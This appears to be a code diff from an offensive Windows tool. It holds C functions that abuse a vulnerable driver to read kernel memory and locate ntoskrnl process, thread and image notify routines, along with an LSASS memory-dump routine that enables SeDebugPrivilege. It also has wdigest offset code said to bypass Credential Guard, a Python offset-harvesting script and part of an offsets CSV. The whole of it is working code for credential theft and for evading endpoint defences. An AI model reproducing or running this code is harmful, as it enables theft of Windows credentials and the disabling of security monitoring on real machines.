HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
|
||||
|
||||
if (Device == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return Device;
|
||||
}
|
||||
|
||||
DWORD64 GetFunctionAddress(LPCSTR function) {
|
||||
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
|
||||
DWORD64 address = 0;
|
||||
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
|
||||
if (ntoskrnl) {
|
||||
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
|
||||
address = ntoskrnlBaseAddress + offset;
|
||||
FreeLibrary(ntoskrnl);
|
||||
}
|
||||
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
|
||||
return address;
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets search functions using patterns.
|
||||
--- Ultimately not used because too unreliable and too prone to BSoD.
|
||||
|
||||
*/
|
||||
|
||||
#include "KernelPatternSearch.h"
|
||||
|
||||
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
|
||||
for (DWORD i = 0; i < bytesToScan; i++) {
|
||||
DWORD64 instructionAddress = startAddress + i;
|
||||
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
|
||||
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
|
||||
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
if (dword64InstructionFixed == pattern) {
|
||||
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
|
||||
return instructionAddress;
|
||||
}
|
||||
}
|
||||
return 0x0;
|
||||
}
|
||||
|
||||
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
|
||||
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
|
||||
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
|
||||
return nextInstructionAddress + procedureRelativeAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
|
||||
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
|
||||
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateProcessNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
|
||||
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
|
||||
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
|
||||
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
|
||||
|
||||
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
|
||||
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
|
||||
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspCreateThreadNotifyRoutineAddress;
|
||||
}
|
||||
|
||||
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
|
||||
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
|
||||
HANDLE Device = GetDriverHandle();
|
||||
|
||||
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
|
||||
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
|
||||
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
|
||||
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
|
||||
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
|
||||
|
||||
CloseHandle(Device);
|
||||
|
||||
return PspLoadImageNotifyRoutineAddress;
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
/*
|
||||
|
||||
--- LSASS dump functions.
|
||||
|
||||
*/
|
||||
|
||||
#include "LSASSDump.h"
|
||||
|
||||
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
|
||||
{
|
||||
LUID luid;
|
||||
BOOL bRet = FALSE;
|
||||
|
||||
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
|
||||
{
|
||||
TOKEN_PRIVILEGES tp;
|
||||
|
||||
tp.PrivilegeCount = 1;
|
||||
tp.Privileges[0].Luid = luid;
|
||||
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
|
||||
|
||||
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
|
||||
{
|
||||
bRet = (GetLastError() == ERROR_SUCCESS);
|
||||
}
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
DWORD WINAPI dumpLSASSProcess(void* data) {
|
||||
HANDLE hProcessSnap;
|
||||
HANDLE hProcess;
|
||||
PROCESSENTRY32 pe32;
|
||||
DWORD dwPriorityClass;
|
||||
|
||||
TCHAR* outputDump = (TCHAR*)data;
|
||||
|
||||
//Enable the SeDebugPrivilege
|
||||
HANDLE hToken;
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
|
||||
{
|
||||
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Take a snapshot of all processes in the system.
|
||||
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hProcessSnap == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Set the size of the structure before using it.
|
||||
pe32.dwSize = sizeof(PROCESSENTRY32);
|
||||
|
||||
// Retrieve information about the first process,
|
||||
// and exit if unsuccessful
|
||||
if (!Process32First(hProcessSnap, &pe32)) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
|
||||
CloseHandle(hProcessSnap); // clean the snapshot object
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Now walk the snapshot of processes, and look for lsass.
|
||||
do {
|
||||
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Retrieve the priority class.
|
||||
dwPriorityClass = 0;
|
||||
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
|
||||
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
|
||||
return 1;
|
||||
}
|
||||
|
||||
else {
|
||||
dwPriorityClass = GetPriorityClass(hProcess);
|
||||
if (!dwPriorityClass) {
|
||||
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
|
||||
}
|
||||
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (hDumpFile == INVALID_HANDLE_VALUE) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
|
||||
return 1;
|
||||
}
|
||||
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
|
||||
if (!dumped) {
|
||||
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
|
||||
return 1;
|
||||
}
|
||||
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
|
||||
} while (Process32Next(hProcessSnap, &pe32));
|
||||
|
||||
CloseHandle(hProcessSnap);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,44 @@
|
||||
/*
|
||||
|
||||
--- ntoskrnl Notify Routines' offsets from CSV functions.
|
||||
--- Hardcoded patterns, with offsets for 350+ ntoskrnl versions provided in the CSV file.
|
||||
|
||||
*/
|
||||
|
||||
#include "NtoskrnlOffsets.h"
|
||||
|
||||
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
|
||||
TCHAR ntoskrnlVersion[256] = { 0 };
|
||||
GetNtoskrnlVersion(ntoskrnlVersion);
|
||||
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
|
||||
|
||||
union NtoskrnlOffsets offset_results = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offset_results;
|
||||
}
|
||||
|
||||
TCHAR lineNtoskrnlVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
|
||||
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
|
||||
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offset_results;
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
/*
|
||||
|
||||
--- Functions to bypass Credential Guard by enabling Wdigest through patching of the g_fParameter_UseLogonCredential and g_IsCredGuardEnabled attributes in memory.
|
||||
--- Full source and credit to https://teamhydra.blog/2020/08/25/bypassing-credential-guard/
|
||||
--- Code adapted from: https://gist.github.com/N4kedTurtle/8238f64d18932c7184faa2d0af2f1240
|
||||
|
||||
*/
|
||||
|
||||
#include "WdigestOffsets.h"
|
||||
|
||||
union WdigestOffsets wdigestOffsets = { 0 };
|
||||
|
||||
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
|
||||
union WdigestOffsets GetWdigestVersionOffsets(TCHAR* wdigestOffsetFilename) {
|
||||
TCHAR wdigestVersion[256] = { 0 };
|
||||
GetWdigestVersion(wdigestVersion);
|
||||
_tprintf(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
|
||||
|
||||
FILE* offsetFileStream = NULL;
|
||||
_tfopen_s(&offsetFileStream, wdigestOffsetFilename, TEXT("r"));
|
||||
|
||||
union WdigestOffsets offsetResults = { 0 };
|
||||
if (offsetFileStream == NULL) {
|
||||
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
|
||||
return offsetResults;
|
||||
}
|
||||
|
||||
TCHAR lineWdigestVersion[256];
|
||||
TCHAR line[2048];
|
||||
while (_fgetts(line, _countof(line), offsetFileStream)) {
|
||||
TCHAR* dupline = _tcsdup(line);
|
||||
TCHAR* tmpBuffer = NULL;
|
||||
_tcscpy_s(lineWdigestVersion, _countof(lineWdigestVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
|
||||
if (_tcscmp(wdigestVersion, lineWdigestVersion) == 0) {
|
||||
TCHAR* endptr;
|
||||
_tprintf(TEXT("[+] Offsets are available for this version of wdigest.dll (%s)!\n"), wdigestVersion);
|
||||
// TODO: switch hardcoded value to sizeof or const defined
|
||||
for (int i = 0; i < 2; i++) {
|
||||
offsetResults.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
fclose(offsetFileStream);
|
||||
return offsetResults;
|
||||
}
|
||||
@@ -0,0 +1,268 @@
|
||||
import argparse
|
||||
import csv
|
||||
import os
|
||||
|
||||
from requests import get
|
||||
from gzip import decompress
|
||||
from json import loads, dumps
|
||||
from subprocess import run
|
||||
|
||||
import win32api
|
||||
from concurrent.futures import ThreadPoolExecutor
|
||||
import threading
|
||||
CSVLock = threading.Lock()
|
||||
|
||||
machineType = dict(x86=332, x64=34404)
|
||||
knownImageVersions = dict(ntoskrnl=list(), wdigest=list())
|
||||
extensions_by_mode = dict(ntoskrnl="exe", wdigest="dll")
|
||||
|
||||
def downloadSpecificFile(entry, pe_basename, pe_ext, knownPEVersions, output_folder):
|
||||
pe_name = f'{pe_basename}.{pe_ext}'
|
||||
|
||||
if 'fileInfo' not in entry:
|
||||
# print(f'[!] Entry {pe_hash} has no fileInfo, skipping it.')
|
||||
return "SKIP"
|
||||
if 'timestamp' not in entry['fileInfo']:
|
||||
# print(f'[!] Entry {pe_hash} has no timestamp, skipping it.')
|
||||
return "SKIP"
|
||||
timestamp = entry['fileInfo']['timestamp']
|
||||
if 'virtualSize' not in entry['fileInfo']:
|
||||
# print(f'[!] Entry {pe_hash} has no virtualSize, skipping it.')
|
||||
return "SKIP"
|
||||
if "machineType" not in entry["fileInfo"] or entry["fileInfo"]["machineType"] != machineType["x64"]:
|
||||
return "SKIP"
|
||||
virtual_size = entry['fileInfo']['virtualSize']
|
||||
file_id = hex(timestamp).replace('0x','').zfill(8).upper() + hex(virtual_size).replace('0x','')
|
||||
url = 'https://msdl.microsoft.com/download/symbols/' + pe_name + '/' + file_id + '/' + pe_name
|
||||
version = entry['fileInfo']['version'].split(' ')[0]
|
||||
|
||||
# Output file format: <PE>_build-revision.<exe | dll>
|
||||
output_version = '-'.join(version.split('.')[-2:])
|
||||
output_file = f'{pe_basename}_{output_version}.{pe_ext}'
|
||||
|
||||
# If the PE version is already known, skip download.
|
||||
if output_file in knownPEVersions:
|
||||
print(f'[*] Skipping download of known {pe_name} version: {output_file}')
|
||||
return "SKIP"
|
||||
|
||||
output_file_path = os.path.join(output_folder, output_file)
|
||||
if os.path.isfile(output_file_path):
|
||||
print(f"[*] Skipping {output_file_path} which already exists")
|
||||
return "SKIP"
|
||||
|
||||
print(f'[*] Downloading {pe_name} version {version}... ')
|
||||
try:
|
||||
peContent = get(url)
|
||||
with open(output_file_path, 'wb') as f:
|
||||
f.write(peContent.content)
|
||||
print(f'[+] Finished download of {pe_name} version {version} (file: {output_file})!')
|
||||
return "OK"
|
||||
except Exception:
|
||||
print(f'[!] ERROR : Could not download {pe_name} version {version} (URL: {url}).')
|
||||
return "KO"
|
||||
|
||||
def dowloadPEFileFromMS(pe_basename, pe_ext, knownPEVersions, output_folder):
|
||||
pe_name = f'{pe_basename}.{pe_ext}'
|
||||
|
||||
print (f'[*] Downloading {pe_name} files!')
|
||||
|
||||
pe_json_gz = get(f'https://winbindex.m417z.com/data/by_filename_compressed/{pe_name}.json.gz').content
|
||||
pe_json = decompress(pe_json_gz)
|
||||
pe_list = loads(pe_json)
|
||||
|
||||
futures = dict()
|
||||
with ThreadPoolExecutor() as executor:
|
||||
for pe_hash in pe_list:
|
||||
entry = pe_list[pe_hash]
|
||||
futures[pe_hash] = executor.submit(downloadSpecificFile,entry, pe_basename, pe_ext, knownPEVersions, output_folder)
|
||||
for (i,f) in enumerate(futures):
|
||||
res = futures[f].result()
|
||||
print(f"{i+1}/{len(futures)}", end="\r")
|
||||
|
||||
def get_symbol_offset(symbols_info, symbol_name):
|
||||
for line in symbols_info:
|
||||
# sometimes, a "_" is prepended to the symbol name ...
|
||||
if line.strip().split(" ")[-1].endswith(symbol_name):
|
||||
return int(line.split(" ")[0], 16)
|
||||
else:
|
||||
return 0
|
||||
|
||||
def get_field_offset(symbols_info, field_name):
|
||||
for line in symbols_info:
|
||||
if field_name in line:
|
||||
assert "offset" in line
|
||||
symbol_offset = int(line.split("+")[-1], 16)
|
||||
return symbol_offset
|
||||
else:
|
||||
return 0
|
||||
|
||||
def get_file_version(path):
|
||||
info = win32api.GetFileVersionInfo(path, '\\')
|
||||
ms = info['FileVersionMS']
|
||||
ls = info['FileVersionLS']
|
||||
return (win32api.HIWORD(ms), win32api.LOWORD(ms),
|
||||
win32api.HIWORD(ls), win32api.LOWORD(ls))
|
||||
|
||||
def extractOffsets(input_file, output_file, mode):
|
||||
if os.path.isfile(input_file):
|
||||
try:
|
||||
# check image type (ntoskrnl, wdigest, etc.)
|
||||
r = run(["r2", "-c", "iE", "-qq", input_file], shell=True, capture_output=True)
|
||||
for line in r.stdout.decode().splitlines():
|
||||
if "ntoskrnl.exe" in line:
|
||||
imageType = "ntoskrnl"
|
||||
break
|
||||
elif "wdigest.dll" in line:
|
||||
imageType = "wdigest"
|
||||
break
|
||||
else:
|
||||
print(f"[*] File {input_file} unrecognized")
|
||||
return
|
||||
|
||||
#todo : remove this and make a unique function
|
||||
if mode != imageType:
|
||||
print(f"[*] Skipping {input_file} since we are in {mode} mode")
|
||||
return
|
||||
# dump version number
|
||||
"""
|
||||
r = run(["r2", "-c", "iV", "-qq", input_file], shell=True, capture_output=True)
|
||||
for line in r.stdout.decode().splitlines():
|
||||
line = line.strip()
|
||||
if line.startswith("FileVersion:"):
|
||||
full_version = [int(frag) for frag in line.split(" ")[-1].split(".")]
|
||||
break
|
||||
else:
|
||||
assert(False)
|
||||
"""
|
||||
if os.path.sep not in input_file:
|
||||
input_file = "." + os.path.sep + input_file
|
||||
full_version = get_file_version(input_file)
|
||||
|
||||
# Checks if the image version is already present in the CSV
|
||||
extension = extensions_by_mode[imageType]
|
||||
imageVersion = f'{imageType}_{full_version[2]}-{full_version[3]}.{extension}'
|
||||
|
||||
if imageVersion in knownImageVersions[imageType]:
|
||||
print(f'[*] Skipping known {imageType} version {imageVersion} (file: {input_file})')
|
||||
return
|
||||
|
||||
|
||||
print(f'[*] Processing {imageType} version {imageVersion} (file: {input_file})')
|
||||
# download the PDB if needed
|
||||
r = run(["r2", "-c", "idpd", "-qq", input_file], shell=True, capture_output=True)
|
||||
# dump all symbols
|
||||
r = run(["r2", "-c", "idpi", "-qq", '-B', '0', input_file], shell=True, capture_output=True)
|
||||
all_symbols_info = [line.strip() for line in r.stdout.decode().splitlines()]
|
||||
|
||||
if imageType == "ntoskrnl":
|
||||
symbols = [("PspCreateProcessNotifyRoutine",get_symbol_offset),
|
||||
("PspCreateThreadNotifyRoutine",get_symbol_offset),
|
||||
("PspLoadImageNotifyRoutine", get_symbol_offset),
|
||||
('_PS_PROTECTION Protection', get_field_offset),
|
||||
("EtwThreatIntProvRegHandle", get_symbol_offset),
|
||||
('_ETW_GUID_ENTRY* GuidEntry', get_field_offset),
|
||||
('_TRACE_ENABLE_INFO ProviderEnableInfo', get_field_offset)]
|
||||
elif imageType == "wdigest":
|
||||
symbols = [
|
||||
("g_fParameter_UseLogonCredential",get_symbol_offset),
|
||||
("g_IsCredGuardEnabled",get_symbol_offset)
|
||||
]
|
||||
|
||||
|
||||
symbols_values = list()
|
||||
for symbol_name, get_offset in symbols:
|
||||
symbol_value = get_offset(all_symbols_info, symbol_name)
|
||||
symbols_values.append(symbol_value)
|
||||
#print(f"[+] {symbol_name} = {hex(symbol_value)}")
|
||||
|
||||
with CSVLock:
|
||||
with open(output_file, 'a') as output:
|
||||
output.write(f'{imageVersion},{",".join(hex(val).replace("0x","") for val in symbols_values)}\n')
|
||||
|
||||
#print("wrote into CSV !")
|
||||
|
||||
knownImageVersions[imageType].append(imageVersion)
|
||||
|
||||
print(f'[+] Finished processing of {imageType} {input_file}!')
|
||||
|
||||
except Exception as e:
|
||||
print(f'[!] ERROR : Could not process file {input_file}.')
|
||||
print(f'[!] Error message: {e}')
|
||||
print(f'[!] If error is of the like of "\'NoneType\' object has no attribute \'group\'", kernel callbacks may not be supported by this version.')
|
||||
|
||||
elif os.path.isdir(input_file):
|
||||
print(f'[*] Processing folder: {input_file}')
|
||||
with ThreadPoolExecutor() as extractorPool:
|
||||
args = [(os.path.join(input_file, file), output_file, mode) for file in os.listdir(input_file)]
|
||||
for (i,res) in enumerate(extractorPool.map(extractOffsets, *zip(*args))):
|
||||
print(f"{i+1}/{len(args)}", end="\r")
|
||||
print(f'[+] Finished processing of folder {input_file}!')
|
||||
|
||||
else:
|
||||
print(f'[!] ERROR : The specified input {input_file} is neither a file nor a directory.')
|
||||
|
||||
|
||||
|
||||
def loadOffsetsFromCSV(loadedVersions, CSVPath):
|
||||
print(f'[*] Loading the known known PE versions from "{CSVPath}".')
|
||||
|
||||
with open(CSVPath, "r") as csvFile:
|
||||
csvReader = csv.reader(csvFile, delimiter=',')
|
||||
next(csvReader)
|
||||
for peLine in csvReader:
|
||||
loadedVersions.append(peLine[0])
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
parser = argparse.ArgumentParser()
|
||||
|
||||
parser.add_argument('mode', help='ntoskrnl or wdigest. Mode to download and extract offsets for either ntoskrnl or wdigest')
|
||||
parser.add_argument('-i', '--input', dest='input', required=True,
|
||||
help='Single file or directory containing ntoskrnl.exe / wdigest.dll to extract offsets from. If in dowload mode, the PE downloaded from MS symbols servers will be placed in this folder.')
|
||||
parser.add_argument('-o', '--output', dest='output',
|
||||
help='CSV file to write offsets to. If the specified file already exists, only new ntoskrnl versions will be downloaded / analyzed. Defaults to NtoskrnlOffsets.csv / WdigestOffsets.csv in the current folder.')
|
||||
parser.add_argument('-d', '--dowload', dest='dowload', action='store_true',
|
||||
help='Flag to download the PE from Microsoft servers using list of versions from winbindex.m417z.com.')
|
||||
|
||||
args = parser.parse_args()
|
||||
mode = args.mode
|
||||
if mode not in knownImageVersions:
|
||||
print(f'[!] ERROR : unsupported mode "{args.mode}", supported mode are: "ntoskrnl" and "wdigest"')
|
||||
exit(1)
|
||||
|
||||
# check R2 version
|
||||
output = run(["r2", "-V"], shell=True, capture_output=True).stdout.decode()
|
||||
ma,me,mi = map(int, output.splitlines()[0].split(" ")[0].split("."))
|
||||
if (ma, me, mi) < (5,4,3):
|
||||
print("WARNING : This script has been tested with radare2 5.4.3 (works) and 4.3.1 (does NOT work)")
|
||||
print(f"You have version {ma}.{me}.{mi}, if is does not work correctly, meaning most of the offsets are not found (i.e. 0), check radare2's 'idpi' command output and modify get_symbol_offset() & get_field_offset() to parse symbols correctly")
|
||||
input("Press enter to continue")
|
||||
|
||||
|
||||
# If the output file exists, load the already analyzed image versions.
|
||||
# Otherwise, write CSV headers to the new file.
|
||||
if not args.output:
|
||||
args.output = mode.capitalize() + 'Offsets.csv'
|
||||
if os.path.isfile(args.output):
|
||||
loadOffsetsFromCSV(knownImageVersions[mode], args.output)
|
||||
print(f'[+] Loaded {len(knownImageVersions[mode])} known {mode} versions from "{args.output}"')
|
||||
else:
|
||||
with open(args.output, 'w') as output:
|
||||
if mode == "ntoskrnl":
|
||||
output.write('ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n')
|
||||
elif mode == "wdigest":
|
||||
output.write('wdigestVersion,g_fParameter_UseLogonCredentialOffset,g_IsCredGuardEnabledOffset\n')
|
||||
else:
|
||||
assert False
|
||||
# In download mode, an updated list of image versions published will be retrieved from https://winbindex.m417z.com.
|
||||
# The symbols for each version will be dowloaded from the Microsoft symbols servers.
|
||||
# Only new versions will be downloaded if the specified output file already contains offsets.
|
||||
if (args.dowload):
|
||||
if not os.path.isdir(args.input):
|
||||
print('[!] ERROR : in download mode, -i / --input option must specify a folder')
|
||||
exit(1)
|
||||
extension = extensions_by_mode[mode]
|
||||
dowloadPEFileFromMS(mode, extension, knownImageVersions[mode], args.input)
|
||||
|
||||
# Extract the offsets from the specified file or the folders containing image files.
|
||||
extractOffsets(args.input, args.output, mode)
|
||||
@@ -0,0 +1,420 @@
|
||||
ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset
|
||||
ntoskrnl_9600-20111.exe,2dac50,2daa50,2da850,67a,0,20,50
|
||||
ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50
|
||||
ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50
|
||||
ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||
ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50
|
||||
ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50
|
||||
